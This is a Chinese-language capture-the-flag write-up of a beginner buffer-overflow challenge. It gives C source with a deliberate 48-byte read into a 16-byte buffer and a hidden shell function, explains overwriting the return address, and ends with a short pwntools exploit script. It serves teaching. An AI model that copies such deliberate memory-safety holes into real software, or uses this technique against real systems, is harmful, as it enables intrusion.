跳转至

bof(Buffer Overflow)

1.题目

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void y0u_c4n7_533_m3()
{
  execve("/bin/sh", (char *[]){0}, (char *[]){0});
}

int main()
{
  char buf[16];
  puts("This is your first bof challenge ;)");
  fflush(stdout);
  read(0, buf, 0x30);
  return 0;
}

Makefile:

bof: bof.c
  gcc bof.c -fno-stack-protector -no-pie -o bof

2.思路

通过源代码可以看出buf只有16 Bytes,而read函数却要读进0x30也就是48 Bytes,这就会导致缓冲区溢出(Buffer Overflow)

然后代码中有一个y0u_c4n7_533_m3函数可以执行/bin/sh,也就是打开shell,我们可以利用缓冲区溢出把返回地址覆盖成y0u_c4n7_533_m3函数的地址,从而获取shell

利用objdump查看y0u_c4n7_533_m3函数的地址:

objdump -M intel -d ./bof # -M intel是指用intel语法

但是怎么覆盖呢?看下图:

只需要把buf(0x8和0x10)的位置占满,然后再覆盖8 Bytes把rbp覆盖掉,然后再把y0u_c4n7_533_m3函数的地址放进去即可把原来的return address顶替

3.解题脚本

from pwn import *

# r = remote("*.*.*.*",****)
r = process("./bof")

r.recvline()
r.send(b'a'*24+p64(0x400607))

r.interactive()